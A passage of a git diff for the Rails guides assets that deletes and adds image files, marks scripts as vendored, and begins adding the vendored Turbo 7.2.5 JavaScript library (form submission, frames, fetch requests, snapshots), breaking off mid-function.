deleted file mode 100644
index 0613093ddc723..0000000000000
Binary files a/guides/assets/images/tab_red.gif and /dev/null differ
diff --git a/guides/assets/images/tab_yellow.gif b/guides/assets/images/tab_yellow.gif
deleted file mode 100644
index 39a3c2dc6a5ac..0000000000000
Binary files a/guides/assets/images/tab_yellow.gif and /dev/null differ
diff --git a/guides/assets/images/tab_yellow.png b/guides/assets/images/tab_yellow.png
deleted file mode 100644
index 3ab1c56c4d7b3..0000000000000
Binary files a/guides/assets/images/tab_yellow.png and /dev/null differ
diff --git a/guides/assets/images/up_white_arrow.png b/guides/assets/images/up_white_arrow.png
new file mode 100644
index 0000000000000..a654356367a1a
Binary files /dev/null and b/guides/assets/images/up_white_arrow.png differ
diff --git a/guides/assets/images/vijaydev.jpg b/guides/assets/images/vijaydev.jpg
deleted file mode 100644
index fe5e4f1cb4927..0000000000000
Binary files a/guides/assets/images/vijaydev.jpg and /dev/null differ
diff --git a/guides/assets/javascripts/.gitattributes b/guides/assets/javascripts/.gitattributes
new file mode 100644
index 0000000000000..a39ef0414edc1
--- /dev/null
+++ b/guides/assets/javascripts/.gitattributes
@@ -0,0 +1,2 @@
+clipboard.js linguist-vendored
+turbo.js linguist-vendored
diff --git a/guides/assets/javascripts/@hotwired--turbo.js b/guides/assets/javascripts/@hotwired--turbo.js
new file mode 100644
index 0000000000000..0b64b9453db33
--- /dev/null
+++ b/guides/assets/javascripts/@hotwired--turbo.js
@@ -0,0 +1,3938 @@
+/*
+Turbo 7.2.5
+Copyright © 2023 37signals LLC
+ */
+(function (global, factory) {
+    typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :
+    typeof define === 'function' && define.amd ? define(['exports'], factory) :
+    (global = typeof globalThis !== 'undefined' ? globalThis : global || self, factory(global.Turbo = {}));
+})(this, (function (exports) { 'use strict';
+
+    (function () {
+        if (window.Reflect === undefined ||
+            window.customElements === undefined ||
+            window.customElements.polyfillWrapFlushCallback) {
+            return;
+        }
+        const BuiltInHTMLElement = HTMLElement;
+        const wrapperForTheName = {
+            HTMLElement: function HTMLElement() {
+                return Reflect.construct(BuiltInHTMLElement, [], this.constructor);
+            },
+        };
+        window.HTMLElement = wrapperForTheName["HTMLElement"];
+        HTMLElement.prototype = BuiltInHTMLElement.prototype;
+        HTMLElement.prototype.constructor = HTMLElement;
+        Object.setPrototypeOf(HTMLElement, BuiltInHTMLElement);
+    })();
+
+    /**
+     * The MIT License (MIT)
+     * 
+     * Copyright (c) 2019 Javan Makhmali
+     * 
+     * Permission is hereby granted, free of charge, to any person obtaining a copy
+     * of this software and associated documentation files (the "Software"), to deal
+     * in the Software without restriction, including without limitation the rights
+     * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+     * copies of the Software, and to permit persons to whom the Software is
+     * furnished to do so, subject to the following conditions:
+     * 
+     * The above copyright notice and this permission notice shall be included in
+     * all copies or substantial portions of the Software.
+     * 
+     * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+     * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+     * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+     * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+     * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+     * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+     * THE SOFTWARE.
+     */
+
+    (function(prototype) {
+      if (typeof prototype.requestSubmit == "function") return
+
+      prototype.requestSubmit = function(submitter) {
+        if (submitter) {
+          validateSubmitter(submitter, this);
+          submitter.click();
+        } else {
+          submitter = document.createElement("input");
+          submitter.type = "submit";
+          submitter.hidden = true;
+          this.appendChild(submitter);
+          submitter.click();
+          this.removeChild(submitter);
+        }
+      };
+
+      function validateSubmitter(submitter, form) {
+        submitter instanceof HTMLElement || raise(TypeError, "parameter 1 is not of type 'HTMLElement'");
+        submitter.type == "submit" || raise(TypeError, "The specified element is not a submit button");
+        submitter.form == form || raise(DOMException, "The specified element is not owned by this form element", "NotFoundError");
+      }
+
+      function raise(errorConstructor, message, name) {
+        throw new errorConstructor("Failed to execute 'requestSubmit' on 'HTMLFormElement': " + message + ".", name)
+      }
+    })(HTMLFormElement.prototype);
+
+    const submittersByForm = new WeakMap();
+    function findSubmitterFromClickTarget(target) {
+        const element = target instanceof Element ? target : target instanceof Node ? target.parentElement : null;
+        const candidate = element ? element.closest("input, button") : null;
+        return (candidate === null || candidate === void 0 ? void 0 : candidate.type) == "submit" ? candidate : null;
+    }
+    function clickCaptured(event) {
+        const submitter = findSubmitterFromClickTarget(event.target);
+        if (submitter && submitter.form) {
+            submittersByForm.set(submitter.form, submitter);
+        }
+    }
+    (function () {
+        if ("submitter" in Event.prototype)
+            return;
+        let prototype;
+        if ("SubmitEvent" in window && /Apple Computer/.test(navigator.vendor)) {
+            prototype = window.SubmitEvent.prototype;
+        }
+        else if ("SubmitEvent" in window) {
+            return;
+        }
+        else {
+            prototype = window.Event.prototype;
+        }
+        addEventListener("click", clickCaptured, true);
+        Object.defineProperty(prototype, "submitter", {
+            get() {
+                if (this.type == "submit" && this.target instanceof HTMLFormElement) {
+                    return submittersByForm.get(this.target);
+                }
+            },
+        });
+    })();
+
+    exports.FrameLoadingStyle = void 0;
+    (function (FrameLoadingStyle) {
+        FrameLoadingStyle["eager"] = "eager";
+        FrameLoadingStyle["lazy"] = "lazy";
+    })(exports.FrameLoadingStyle || (exports.FrameLoadingStyle = {}));
+    class FrameElement extends HTMLElement {
+        constructor() {
+            super();
+            this.loaded = Promise.resolve();
+            this.delegate = new FrameElement.delegateConstructor(this);
+        }
+        static get observedAttributes() {
+            return ["disabled", "complete", "loading", "src"];
+        }
+        connectedCallback() {
+            this.delegate.connect();
+        }
+        disconnectedCallback() {
+            this.delegate.disconnect();
+        }
+        reload() {
+            return this.delegate.sourceURLReloaded();
+        }
+        attributeChangedCallback(name) {
+            if (name == "loading") {
+                this.delegate.loadingStyleChanged();
+            }
+            else if (name == "complete") {
+                this.delegate.completeChanged();
+            }
+            else if (name == "src") {
+                this.delegate.sourceURLChanged();
+            }
+            else {
+                this.delegate.disabledChanged();
+            }
+        }
+        get src() {
+            return this.getAttribute("src");
+        }
+        set src(value) {
+            if (value) {
+                this.setAttribute("src", value);
+            }
+            else {
+                this.removeAttribute("src");
+            }
+        }
+        get loading() {
+            return frameLoadingStyleFromString(this.getAttribute("loading") || "");
+        }
+        set loading(value) {
+            if (value) {
+                this.setAttribute("loading", value);
+            }
+            else {
+                this.removeAttribute("loading");
+            }
+        }
+        get disabled() {
+            return this.hasAttribute("disabled");
+        }
+        set disabled(value) {
+            if (value) {
+                this.setAttribute("disabled", "");
+            }
+            else {
+                this.removeAttribute("disabled");
+            }
+        }
+        get autoscroll() {
+            return this.hasAttribute("autoscroll");
+        }
+        set autoscroll(value) {
+            if (value) {
+                this.setAttribute("autoscroll", "");
+            }
+            else {
+                this.removeAttribute("autoscroll");
+            }
+        }
+        get complete() {
+            return !this.delegate.isLoading;
+        }
+        get isActive() {
+            return this.ownerDocument === document && !this.isPreview;
+        }
+        get isPreview() {
+            var _a, _b;
+            return (_b = (_a = this.ownerDocument) === null || _a === void 0 ? void 0 : _a.documentElement) === null || _b === void 0 ? void 0 : _b.hasAttribute("data-turbo-preview");
+        }
+    }
+    function frameLoadingStyleFromString(style) {
+        switch (style.toLowerCase()) {
+            case "lazy":
+                return exports.FrameLoadingStyle.lazy;
+            default:
+                return exports.FrameLoadingStyle.eager;
+        }
+    }
+
+    function expandURL(locatable) {
+        return new URL(locatable.toString(), document.baseURI);
+    }
+    function getAnchor(url) {
+        let anchorMatch;
+        if (url.hash) {
+            return url.hash.slice(1);
+        }
+        else if ((anchorMatch = url.href.match(/#(.*)$/))) {
+            return anchorMatch[1];
+        }
+    }
+    function getAction(form, submitter) {
+        const action = (submitter === null || submitter === void 0 ? void 0 : submitter.getAttribute("formaction")) || form.getAttribute("action") || form.action;
+        return expandURL(action);
+    }
+    function getExtension(url) {
+        return (getLastPathComponent(url).match(/\.[^.]*$/) || [])[0] || "";
+    }
+    function isHTML(url) {
+        return !!getExtension(url).match(/^(?:|\.(?:htm|html|xhtml|php))$/);
+    }
+    function isPrefixedBy(baseURL, url) {
+        const prefix = getPrefix(url);
+        return baseURL.href === expandURL(prefix).href || baseURL.href.startsWith(prefix);
+    }
+    function locationIsVisitable(location, rootLocation) {
+        return isPrefixedBy(location, rootLocation) && isHTML(location);
+    }
+    function getRequestURL(url) {
+        const anchor = getAnchor(url);
+        return anchor != null ? url.href.slice(0, -(anchor.length + 1)) : url.href;
+    }
+    function toCacheKey(url) {
+        return getRequestURL(url);
+    }
+    function urlsAreEqual(left, right) {
+        return expandURL(left).href == expandURL(right).href;
+    }
+    function getPathComponents(url) {
+        return url.pathname.split("/").slice(1);
+    }
+    function getLastPathComponent(url) {
+        return getPathComponents(url).slice(-1)[0];
+    }
+    function getPrefix(url) {
+        return addTrailingSlash(url.origin + url.pathname);
+    }
+    function addTrailingSlash(value) {
+        return value.endsWith("/") ? value : value + "/";
+    }
+
+    class FetchResponse {
+        constructor(response) {
+            this.response = response;
+        }
+        get succeeded() {
+            return this.response.ok;
+        }
+        get failed() {
+            return !this.succeeded;
+        }
+        get clientError() {
+            return this.statusCode >= 400 && this.statusCode <= 499;
+        }
+        get serverError() {
+            return this.statusCode >= 500 && this.statusCode <= 599;
+        }
+        get redirected() {
+            return this.response.redirected;
+        }
+        get location() {
+            return expandURL(this.response.url);
+        }
+        get isHTML() {
+            return this.contentType && this.contentType.match(/^(?:text\/([^\s;,]+\b)?html|application\/xhtml\+xml)\b/);
+        }
+        get statusCode() {
+            return this.response.status;
+        }
+        get contentType() {
+            return this.header("Content-Type");
+        }
+        get responseText() {
+            return this.response.clone().text();
+        }
+        get responseHTML() {
+            if (this.isHTML) {
+                return this.response.clone().text();
+            }
+            else {
+                return Promise.resolve(undefined);
+            }
+        }
+        header(name) {
+            return this.response.headers.get(name);
+        }
+    }
+
+    function activateScriptElement(element) {
+        if (element.getAttribute("data-turbo-eval") == "false") {
+            return element;
+        }
+        else {
+            const createdScriptElement = document.createElement("script");
+            const cspNonce = getMetaContent("csp-nonce");
+            if (cspNonce) {
+                createdScriptElement.nonce = cspNonce;
+            }
+            createdScriptElement.textContent = element.textContent;
+            createdScriptElement.async = false;
+            copyElementAttributes(createdScriptElement, element);
+            return createdScriptElement;
+        }
+    }
+    function copyElementAttributes(destinationElement, sourceElement) {
+        for (const { name, value } of sourceElement.attributes) {
+            destinationElement.setAttribute(name, value);
+        }
+    }
+    function createDocumentFragment(html) {
+        const template = document.createElement("template");
+        template.innerHTML = html;
+        return template.content;
+    }
+    function dispatch(eventName, { target, cancelable, detail } = {}) {
+        const event = new CustomEvent(eventName, {
+            cancelable,
+            bubbles: true,
+            composed: true,
+            detail,
+        });
+        if (target && target.isConnected) {
+            target.dispatchEvent(event);
+        }
+        else {
+            document.documentElement.dispatchEvent(event);
+        }
+        return event;
+    }
+    function nextAnimationFrame() {
+        return new Promise((resolve) => requestAnimationFrame(() => resolve()));
+    }
+    function nextEventLoopTick() {
+        return new Promise((resolve) => setTimeout(() => resolve(), 0));
+    }
+    function nextMicrotask() {
+        return Promise.resolve();
+    }
+    function parseHTMLDocument(html = "") {
+        return new DOMParser().parseFromString(html, "text/html");
+    }
+    function unindent(strings, ...values) {
+        const lines = interpolate(strings, values).replace(/^\n/, "").split("\n");
+        const match = lines[0].match(/^\s+/);
+        const indent = match ? match[0].length : 0;
+        return lines.map((line) => line.slice(indent)).join("\n");
+    }
+    function interpolate(strings, values) {
+        return strings.reduce((result, string, i) => {
+            const value = values[i] == undefined ? "" : values[i];
+            return result + string + value;
+        }, "");
+    }
+    function uuid() {
+        return Array.from({ length: 36 })
+            .map((_, i) => {
+            if (i == 8 || i == 13 || i == 18 || i == 23) {
+                return "-";
+            }
+            else if (i == 14) {
+                return "4";
+            }
+            else if (i == 19) {
+                return (Math.floor(Math.random() * 4) + 8).toString(16);
+            }
+            else {
+                return Math.floor(Math.random() * 15).toString(16);
+            }
+        })
+            .join("");
+    }
+    function getAttribute(attributeName, ...elements) {
+        for (const value of elements.map((element) => element === null || element === void 0 ? void 0 : element.getAttribute(attributeName))) {
+            if (typeof value == "string")
+                return value;
+        }
+        return null;
+    }
+    function hasAttribute(attributeName, ...elements) {
+        return elements.some((element) => element && element.hasAttribute(attributeName));
+    }
+    function markAsBusy(...elements) {
+        for (const element of elements) {
+            if (element.localName == "turbo-frame") {
+                element.setAttribute("busy", "");
+            }
+            element.setAttribute("aria-busy", "true");
+        }
+    }
+    function clearBusyState(...elements) {
+        for (const element of elements) {
+            if (element.localName == "turbo-frame") {
+                element.removeAttribute("busy");
+            }
+            element.removeAttribute("aria-busy");
+        }
+    }
+    function waitForLoad(element, timeoutInMilliseconds = 2000) {
+        return new Promise((resolve) => {
+            const onComplete = () => {
+                element.removeEventListener("error", onComplete);
+                element.removeEventListener("load", onComplete);
+                resolve();
+            };
+            element.addEventListener("load", onComplete, { once: true });
+            element.addEventListener("error", onComplete, { once: true });
+            setTimeout(resolve, timeoutInMilliseconds);
+        });
+    }
+    function getHistoryMethodForAction(action) {
+        switch (action) {
+            case "replace":
+                return history.replaceState;
+            case "advance":
+            case "restore":
+                return history.pushState;
+        }
+    }
+    function isAction(action) {
+        return action == "advance" || action == "replace" || action == "restore";
+    }
+    function getVisitAction(...elements) {
+        const action = getAttribute("data-turbo-action", ...elements);
+        return isAction(action) ? action : null;
+    }
+    function getMetaElement(name) {
+        return document.querySelector(`meta[name="${name}"]`);
+    }
+    function getMetaContent(name) {
+        const element = getMetaElement(name);
+        return element && element.content;
+    }
+    function setMetaContent(name, content) {
+        let element = getMetaElement(name);
+        if (!element) {
+            element = document.createElement("meta");
+            element.setAttribute("name", name);
+            document.head.appendChild(element);
+        }
+        element.setAttribute("content", content);
+        return element;
+    }
+    function findClosestRecursively(element, selector) {
+        var _a;
+        if (element instanceof Element) {
+            return (element.closest(selector) ||
+                findClosestRecursively(element.assignedSlot || ((_a = element.getRootNode()) === null || _a === void 0 ? void 0 : _a.host), selector));
+        }
+    }
+
+    var FetchMethod;
+    (function (FetchMethod) {
+        FetchMethod[FetchMethod["get"] = 0] = "get";
+        FetchMethod[FetchMethod["post"] = 1] = "post";
+        FetchMethod[FetchMethod["put"] = 2] = "put";
+        FetchMethod[FetchMethod["patch"] = 3] = "patch";
+        FetchMethod[FetchMethod["delete"] = 4] = "delete";
+    })(FetchMethod || (FetchMethod = {}));
+    function fetchMethodFromString(method) {
+        switch (method.toLowerCase()) {
+            case "get":
+                return FetchMethod.get;
+            case "post":
+                return FetchMethod.post;
+            case "put":
+                return FetchMethod.put;
+            case "patch":
+                return FetchMethod.patch;
+            case "delete":
+                return FetchMethod.delete;
+        }
+    }
+    class FetchRequest {
+        constructor(delegate, method, location, body = new URLSearchParams(), target = null) {
+            this.abortController = new AbortController();
+            this.resolveRequestPromise = (_value) => { };
+            this.delegate = delegate;
+            this.method = method;
+            this.headers = this.defaultHeaders;
+            this.body = body;
+            this.url = location;
+            this.target = target;
+        }
+        get location() {
+            return this.url;
+        }
+        get params() {
+            return this.url.searchParams;
+        }
+        get entries() {
+            return this.body ? Array.from(this.body.entries()) : [];
+        }
+        cancel() {
+            this.abortController.abort();
+        }
+        async perform() {
+            const { fetchOptions } = this;
+            this.delegate.prepareRequest(this);
+            await this.allowRequestToBeIntercepted(fetchOptions);
+            try {
+                this.delegate.requestStarted(this);
+                const response = await fetch(this.url.href, fetchOptions);
+                return await this.receive(response);
+            }
+            catch (error) {
+                if (error.name !== "AbortError") {
+                    if (this.willDelegateErrorHandling(error)) {
+                        this.delegate.requestErrored(this, error);
+                    }
+                    throw error;
+                }
+            }
+            finally {
+                this.delegate.requestFinished(this);
+            }
+        }
+        async receive(response) {
+            const fetchResponse = new FetchResponse(response);
+            const event = dispatch("turbo:before-fetch-response", {
+                cancelable: true,
+                detail: { fetchResponse },
+                target: this.target,
+            });
+            if (event.defaultPrevented) {
+                this.delegate.requestPreventedHandlingResponse(this, fetchResponse);
+            }
+            else if (fetchResponse.succeeded) {
+                this.delegate.requestSucceededWithResponse(this, fetchResponse);
+            }
+            else {
+                this.delegate.requestFailedWithResponse(this, fetchResponse);
+            }
+            return fetchResponse;
+        }
+        get fetchOptions() {
+            var _a;
+            return {
+                method: FetchMethod[this.method].toUpperCase(),
+                credentials: "same-origin",
+                headers: this.headers,
+                redirect: "follow",
+                body: this.isIdempotent ? null : this.body,
+                signal: this.abortSignal,
+                referrer: (_a = this.delegate.referrer) === null || _a === void 0 ? void 0 : _a.href,
+            };
+        }
+        get defaultHeaders() {
+            return {
+                Accept: "text/html, application/xhtml+xml",
+            };
+        }
+        get isIdempotent() {
+            return this.method == FetchMethod.get;
+        }
+        get abortSignal() {
+            return this.abortController.signal;
+        }
+        acceptResponseType(mimeType) {
+            this.headers["Accept"] = [mimeType, this.headers["Accept"]].join(", ");
+        }
+        async allowRequestToBeIntercepted(fetchOptions) {
+            const requestInterception = new Promise((resolve) => (this.resolveRequestPromise = resolve));
+            const event = dispatch("turbo:before-fetch-request", {
+                cancelable: true,
+                detail: {
+                    fetchOptions,
+                    url: this.url,
+                    resume: this.resolveRequestPromise,
+                },
+                target: this.target,
+            });
+            if (event.defaultPrevented)
+                await requestInterception;
+        }
+        willDelegateErrorHandling(error) {
+            const event = dispatch("turbo:fetch-request-error", {
+                target: this.target,
+                cancelable: true,
+                detail: { request: this, error: error },
+            });
+            return !event.defaultPrevented;
+        }
+    }
+
+    class AppearanceObserver {
+        constructor(delegate, element) {
+            this.started = false;
+            this.intersect = (entries) => {
+                const lastEntry = entries.slice(-1)[0];
+                if (lastEntry === null || lastEntry === void 0 ? void 0 : lastEntry.isIntersecting) {
+                    this.delegate.elementAppearedInViewport(this.element);
+                }
+            };
+            this.delegate = delegate;
+            this.element = element;
+            this.intersectionObserver = new IntersectionObserver(this.intersect);
+        }
+        start() {
+            if (!this.started) {
+                this.started = true;
+                this.intersectionObserver.observe(this.element);
+            }
+        }
+        stop() {
+            if (this.started) {
+                this.started = false;
+                this.intersectionObserver.unobserve(this.element);
+            }
+        }
+    }
+
+    class StreamMessage {
+        constructor(fragment) {
+            this.fragment = importStreamElements(fragment);
+        }
+        static wrap(message) {
+            if (typeof message == "string") {
+                return new this(createDocumentFragment(message));
+            }
+            else {
+                return message;
+            }
+        }
+    }
+    StreamMessage.contentType = "text/vnd.turbo-stream.html";
+    function importStreamElements(fragment) {
+        for (const element of fragment.querySelectorAll("turbo-stream")) {
+            const streamElement = document.importNode(element, true);
+            for (const inertScriptElement of streamElement.templateElement.content.querySelectorAll("script")) {
+                inertScriptElement.replaceWith(activateScriptElement(inertScriptElement));
+            }
+            element.replaceWith(streamElement);
+        }
+        return fragment;
+    }
+
+    var FormSubmissionState;
+    (function (FormSubmissionState) {
+        FormSubmissionState[FormSubmissionState["initialized"] = 0] = "initialized";
+        FormSubmissionState[FormSubmissionState["requesting"] = 1] = "requesting";
+        FormSubmissionState[FormSubmissionState["waiting"] = 2] = "waiting";
+        FormSubmissionState[FormSubmissionState["receiving"] = 3] = "receiving";
+        FormSubmissionState[FormSubmissionState["stopping"] = 4] = "stopping";
+        FormSubmissionState[FormSubmissionState["stopped"] = 5] = "stopped";
+    })(FormSubmissionState || (FormSubmissionState = {}));
+    var FormEnctype;
+    (function (FormEnctype) {
+        FormEnctype["urlEncoded"] = "application/x-www-form-urlencoded";
+        FormEnctype["multipart"] = "multipart/form-data";
+        FormEnctype["plain"] = "text/plain";
+    })(FormEnctype || (FormEnctype = {}));
+    function formEnctypeFromString(encoding) {
+        switch (encoding.toLowerCase()) {
+            case FormEnctype.multipart:
+                return FormEnctype.multipart;
+            case FormEnctype.plain:
+                return FormEnctype.plain;
+            default:
+                return FormEnctype.urlEncoded;
+        }
+    }
+    class FormSubmission {
+        constructor(delegate, formElement, submitter, mustRedirect = false) {
+            this.state = FormSubmissionState.initialized;
+            this.delegate = delegate;
+            this.formElement = formElement;
+            this.submitter = submitter;
+            this.formData = buildFormData(formElement, submitter);
+            this.location = expandURL(this.action);
+            if (this.method == FetchMethod.get) {
+                mergeFormDataEntries(this.location, [...this.body.entries()]);
+            }
+            this.fetchRequest = new FetchRequest(this, this.method, this.location, this.body, this.formElement);
+            this.mustRedirect = mustRedirect;
+        }
+        static confirmMethod(message, _element, _submitter) {
+            return Promise.resolve(confirm(message));
+        }
+        get method() {
+            var _a;
+            const method = ((_a = this.submitter) === null || _a === void 0 ? void 0 : _a.getAttribute("formmethod")) || this.formElement.getAttribute("method") || "";
+            return fetchMethodFromString(method.toLowerCase()) || FetchMethod.get;
+        }
+        get action() {
+            var _a;
+            const formElementAction = typeof this.formElement.action === "string" ? this.formElement.action : null;
+            if ((_a = this.submitter) === null || _a === void 0 ? void 0 : _a.hasAttribute("formaction")) {
+                return this.submitter.getAttribute("formaction") || "";
+            }
+            else {
+                return this.formElement.getAttribute("action") || formElementAction || "";
+            }
+        }
+        get body() {
+            if (this.enctype == FormEnctype.urlEncoded || this.method == FetchMethod.get) {
+                return new URLSearchParams(this.stringFormData);
+            }
+            else {
+                return this.formData;
+            }
+        }
+        get enctype() {
+            var _a;
+            return formEnctypeFromString(((_a = this.submitter) === null || _a === void 0 ? void 0 : _a.getAttribute("formenctype")) || this.formElement.enctype);
+        }
+        get isIdempotent() {
+            return this.fetchRequest.isIdempotent;
+        }
+        get stringFormData() {
+            return [...this.formData].reduce((entries, [name, value]) => {
+                return entries.concat(typeof value == "string" ? [[name, value]] : []);
+            }, []);
+        }
+        async start() {
+            const { initialized, requesting } = FormSubmissionState;
+            const confirmationMessage = getAttribute("data-turbo-confirm", this.submitter, this.formElement);
+            if (typeof confirmationMessage === "string") {
+                const answer = await FormSubmission.confirmMethod(confirmationMessage, this.formElement, this.submitter);
+                if (!answer) {
+                    return;
+                }
+            }
+            if (this.state == initialized) {
+                this.state = requesting;
+                return this.fetchRequest.perform();
+            }
+        }
+        stop() {
+            const { stopping, stopped } = FormSubmissionState;
+            if (this.state != stopping && this.state != stopped) {
+                this.state = stopping;
+                this.fetchRequest.cancel();
+                return true;
+            }
+        }
+        prepareRequest(request) {
+            if (!request.isIdempotent) {
+                const token = getCookieValue(getMetaContent("csrf-param")) || getMetaContent("csrf-token");
+                if (token) {
+                    request.headers["X-CSRF-Token"] = token;
+                }
+            }
+            if (this.requestAcceptsTurboStreamResponse(request)) {
+                request.acceptResponseType(StreamMessage.contentType);
+            }
+        }
+        requestStarted(_request) {
+            var _a;
+            this.state = FormSubmissionState.waiting;
+            (_a = this.submitter) === null || _a === void 0 ? void 0 : _a.setAttribute("disabled", "");
+            dispatch("turbo:submit-start", {
+                target: this.formElement,
+                detail: { formSubmission: this },
+            });
+            this.delegate.formSubmissionStarted(this);
+        }
+        requestPreventedHandlingResponse(request, response) {
+            this.result = { success: response.succeeded, fetchResponse: response };
+        }
+        requestSucceededWithResponse(request, response) {
+            if (response.clientError || response.serverError) {
+                this.delegate.formSubmissionFailedWithResponse(this, response);
+            }
+            else if (this.requestMustRedirect(request) && responseSucceededWithoutRedirect(response)) {
+                const error = new Error("Form responses must redirect to another location");
+                this.delegate.formSubmissionErrored(this, error);
+            }
+            else {
+                this.state = FormSubmissionState.receiving;
+                this.result = { success: true, fetchResponse: response };
+                this.delegate.formSubmissionSucceededWithResponse(this, response);
+            }
+        }
+        requestFailedWithResponse(request, response) {
+            this.result = { success: false, fetchResponse: response };
+            this.delegate.formSubmissionFailedWithResponse(this, response);
+        }
+        requestErrored(request, error) {
+            this.result = { success: false, error };
+            this.delegate.formSubmissionErrored(this, error);
+        }
+        requestFinished(_request) {
+            var _a;
+            this.state = FormSubmissionState.stopped;
+            (_a = this.submitter) === null || _a === void 0 ? void 0 : _a.removeAttribute("disabled");
+            dispatch("turbo:submit-end", {
+                target: this.formElement,
+                detail: Object.assign({ formSubmission: this }, this.result),
+            });
+            this.delegate.formSubmissionFinished(this);
+        }
+        requestMustRedirect(request) {
+            return !request.isIdempotent && this.mustRedirect;
+        }
+        requestAcceptsTurboStreamResponse(request) {
+            return !request.isIdempotent || hasAttribute("data-turbo-stream", this.submitter, this.formElement);
+        }
+    }
+    function buildFormData(formElement, submitter) {
+        const formData = new FormData(formElement);
+        const name = submitter === null || submitter === void 0 ? void 0 : submitter.getAttribute("name");
+        const value = submitter === null || submitter === void 0 ? void 0 : submitter.getAttribute("value");
+        if (name) {
+            formData.append(name, value || "");
+        }
+        return formData;
+    }
+    function getCookieValue(cookieName) {
+        if (cookieName != null) {
+            const cookies = document.cookie ? document.cookie.split("; ") : [];
+            const cookie = cookies.find((cookie) => cookie.startsWith(cookieName));
+            if (cookie) {
+                const value = cookie.split("=").slice(1).join("=");
+                return value ? decodeURIComponent(value) : undefined;
+            }
+        }
+    }
+    function responseSucceededWithoutRedirect(response) {
+        return response.statusCode == 200 && !response.redirected;
+    }
+    function mergeFormDataEntries(url, entries) {
+        const searchParams = new URLSearchParams();
+        for (const [name, value] of entries) {
+            if (value instanceof File)
+                continue;
+            searchParams.append(name, value);
+        }
+        url.search = searchParams.toString();
+        return url;
+    }
+
+    class Snapshot {
+        constructor(element) {
+            this.element = element;
+        }
+        get activeElement() {
+            return this.element.ownerDocument.activeElement;
+        }
+        get children() {
+            return [...this.element.children];
+        }
+        hasAnchor(anchor) {
+            return this.getElementForAnchor(anchor) != null;
+        }
+        getElementForAnchor(anchor) {
+            return anchor ? this.element.querySelector(`[id='${anchor}'], a[name='${anchor}']`) : null;
+        }
+        get isConnected() {
+            return this.element.isConnected;
+        }
+        get firstAutofocusableElement() {
+            const inertDisabledOrHidden = "[inert], :disabled, [hidden], details:not([open]), dialog:not([open])";
+            for (const element of this.element.querySelectorAll("[autofocus]")) {
+                if (element.closest(inertDisabledOrHidden) == null)
+                    return element;
+                else
+                    continue;
+            }
+            return null;
+        }
+        get permanentElements() {
+            return queryPermanentElementsAll(this.element);
+        }
+        getPermanentElementById(id) {
+            return getPermanentElementById(this.element, id);
+        }
+        getPermanentElementMapForSnapshot(snapshot) {
+            const permanentElementMap = {};
+            for (const currentPermanentElement of this.permanentElements) {
+                const { id } = currentPermanentElement;
+                const newPermanentElement = snapshot.getPermanentElementById(id);
+                if (newPermanentElement) {
+                    permanentElementMap[id] = [currentPermanentElement, newPermanentElement];
+                }
+            }
+            return permanentElementMap;
+        }
+    }
+    function getPermanentElementById(node, id) {
+        return node.querySelector(`#${id}[data-turbo-permanent]`);
+    }
+    function queryPermanentElementsAll(node) {
+        return node.querySelectorAll("[id][data-turbo-permanent]");
+    }
+
+    class FormSubmitObserver {
+        constructor(delegate, eventTarget) {
+            this.started = false;
+            this.submitCaptured = () => {
+                this.eventTarget.removeEventListener("submit", this.submitBubbled, false);
+                this.eventTarget.addEventListener("submit", this.submitBubbled, false);
+            };
+            this.submitBubbled = ((event) => {
+                if (!event.defaultPrevented) {
+                    const form = event.target instanceof HTMLFormElement ? event.target : undefined;
+                    const submitter = event.submitter || undefined;
+                    if (form &&
+                        submissionDoesNotDismissDialog(form, submitter) &&
+                        submissionDoesNotTargetIFrame(form, submitter) &&
+                        this.delegate.willSubmitForm(form, submitter)) {
+                        event.preventDefault();
+                        event.stopImmediatePropagation();
+                        this.delegate.formSubmitted(form, submitter);
+                    }
+                }
+            });
+            this.delegate = delegate;
+            this.eventTarget = eventTarget;
+        }
+        start() {
+            if (!this.started) {
+                this.eventTarget.addEventListener("submit", this.submitCaptured, true);
+                this.started = true;
+            }
+        }
+        stop() {
+            if (this.started) {
+                this.eventTarget.removeEventListener("submit", this.submitCaptured, true);
+                this.started = false;
+            }
+        }
+    }
+    function submissionDoesNotDismissDialog(form, submitter) {
+        const method = (submitter === null || submitter === void 0 ? void 0 : submitter.getAttribute("formmethod")) || form.getAttribute("method");
+        return method != "dialog";
+    }
+    function submissionDoesNotTargetIFrame(form, submitter) {
+        if ((submitter === null || submitter === void 0 ? void 0 : submitter.hasAttribute("formtarget")) || form.hasAttribute("target")) {
+            const target = (submitter === null || submitter === void 0 ? void 0 : submitter.getAttribute("formtarget")) || form.target;
+            for (const element of document.getElementsByName(target)) {
+                if (element instanceof HTMLIFrameElement)
+                    return false;
+            }
+            return true;
+        }
+        else {
+            return true;
+        }
+    }
+
+    class View {
+        constructor(delegate, element) {
+            this.resolveRenderPromise = (_value) => { };
+            this.resolveInterceptionPromise = (_value) => { };
+            this.delegate = delegate;
+            this.element = element;
+        }
+        scrollToAnchor(anchor) {
+            const element = this.snapshot.getElementForAnchor(anchor);
+            if (element) {
+                this.scrollToElement(element);
+                this.focusElement(element);
+            }
+            else {
+                this.scrollToPosition({ x: 0, y: 0 });
+            }
+        }
+        scrollToAnchorFromLocation(location) {
+            this.scrollToAnchor(getAnchor(location));
+        }
+        scrollToElement(element) {
+            element.scrollIntoView();
+        }
+        focusElement(element) {
+            if (element instanceof HTMLElement) {
+                if (element.hasAttribute("tabindex")) {
+                    element.focus();
+                }
+                else {
+                    element.setAttribute("tabindex", "-1");
+                    element.focus();
+                    element.removeAttribute("tabindex");
+                }
+            }
+        }
+        scrollToPosition({ x, y }) {
+            this.scrollRoot.scrollTo(x, y);
+        }
+        scrollToTop() {
+            this.scrollToPosition({ x: 0, y: 0 });
+        }
+        get scrollRoot() {
+            return window;
+        }
+        async render(renderer) {
+            const { isPreview, shouldRender, newSnapshot: snapshot } = renderer;
+            if (shouldRender) {
+                try {
